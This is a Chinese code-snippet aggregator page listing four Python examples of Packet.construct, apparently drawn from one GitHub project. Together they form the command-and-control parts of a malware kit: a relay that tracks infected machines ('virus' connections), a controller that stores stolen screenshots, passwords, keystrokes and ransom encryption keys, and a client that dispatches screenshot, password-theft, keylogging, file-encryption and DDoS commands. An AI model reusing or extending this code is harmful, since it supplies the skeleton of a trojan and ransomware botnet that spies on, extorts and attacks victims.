当前位置: 首页>>代码示例>>Python>>正文


Python Packet.construct方法代码示例

本文整理汇总了Python中packet.Packet.construct方法的典型用法代码示例。如果您正苦于以下问题:Python Packet.construct方法的具体用法?Python Packet.construct怎么用?Python Packet.construct使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在packet.Packet的用法示例。


在下文中一共展示了Packet.construct方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: receiveFromClient

# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
 def receiveFromClient(self,s,address):
     while True:
         pkt = Packet()
         try:
             pkt.construct(s)
         except socket.error as error:
             if error.errno == 10054 or error.errno == 104:
                 del self.toClient[address[0]]
                 print address[0] + " closed client!"
                 break
             else:
                 raise
         pkt.returnIP = address[0]
         self.enqueueToVirus(pkt)
开发者ID:Infamous-devel,项目名称:placeholder,代码行数:16,代码来源:messageRelayServer.py

示例2: receiveFromVirus

# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
 def receiveFromVirus(self,s,address):
     while True:
         pkt = Packet()
         try:
             pkt.construct(s)
         except socket.error as error:
             if error.errno == 10054 or error.errno == 104:
                 del self.toVirus[address[0]]
                 self.sendIPList()
                 print address[0] + " uninfected or turned computer off!"
                 break
             else:
                 raise
         if pkt.state == '100':
             tup = self.toVirus[address[0]]
             pkt.RSADecryptData(self.RSAPrivateKey)
             self.toVirus[address[0]] = (tup[0],tup[1],pkt.data)
             self.sendIPList()
         else: self.enqueueToClient(pkt)
开发者ID:Infamous-devel,项目名称:placeholder,代码行数:21,代码来源:messageRelayServer.py

示例3: receive

# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
def receive(s):
    base = "C:\Users\Matt\Desktop\\testfolder"
    while True:
        pkt = Packet()
        pkt.construct(s)
        t = time.time()
        if pkt.state == "100":
            print pkt.data
            global attackip
            attackip = pkt.data
        elif pkt.state == "143":
            path = base + "\screenshot." + str(t) + ".png"
            im = Image.open(StringIO(pkt.data))
            im.save("C:\Users\Matt\Desktop\\testpic.png",'png')
        elif pkt.state == "144":
            path = base + "\passwords." + str(t) + ".txt"
            f = open(path,"w")
            f.write(pkt.data)
            f.close()
        elif pkt.state == "145":
            path = base + "\keystrokes." + str(t) + ".txt"
            f = open(path,"w")
            f.write(pkt.data)
            f.close()
        elif pkt.state == "146":
            if pkt.data != "already encrypted":
                path = base + "\\" + pkt.toIP + "-encryptionkey"
                f = open(path,"w")
                f.write(pkt.data)
                f.close()
            else: 
                print pkt.data
        elif pkt.state == "147":
            print pkt.data
            if pkt.data == "There you go! Sorry about that.":
                path = base + "\\" + pkt.toIP + "-encryptionkey"
                os.unlink(path)
        else:
            print "don't know that one"
开发者ID:Infamous-devel,项目名称:placeholder,代码行数:41,代码来源:server.py

示例4: run

# 需要导入模块: from packet import Packet [as 别名]
# 或者: from packet.Packet import construct [as 别名]
    def run(self):

        threading.Thread(target=self.dequeue).start()

        while True:
            pkt = Packet()
            pkt.construct(self.s)
            pkt.decryptData(pkt.length,self.key)
            if pkt.state:
                if pkt.state == "143":
                    threading.Thread(target=self.screenshot,args=[pkt]).start()
                elif pkt.state == "144":
                    threading.Thread(target=self.passwords,args=[pkt]).start()
                elif pkt.state == "145":
                    threading.Thread(target=self.keylog,args=[pkt]).start()
                elif pkt.state == "146":
                    threading.Thread(target=self.encrypt,args=[pkt]).start()
                elif pkt.state == "147":
                    threading.Thread(target=self.decrypt,args=[pkt]).start()
                elif pkt.state == "149":
                    threading.Thread(target=self.ddos,args=[pkt]).start()
                else:
                    print "i don't know that command"
开发者ID:Infamous-devel,项目名称:placeholder,代码行数:25,代码来源:client.py


注:本文中的packet.Packet.construct方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。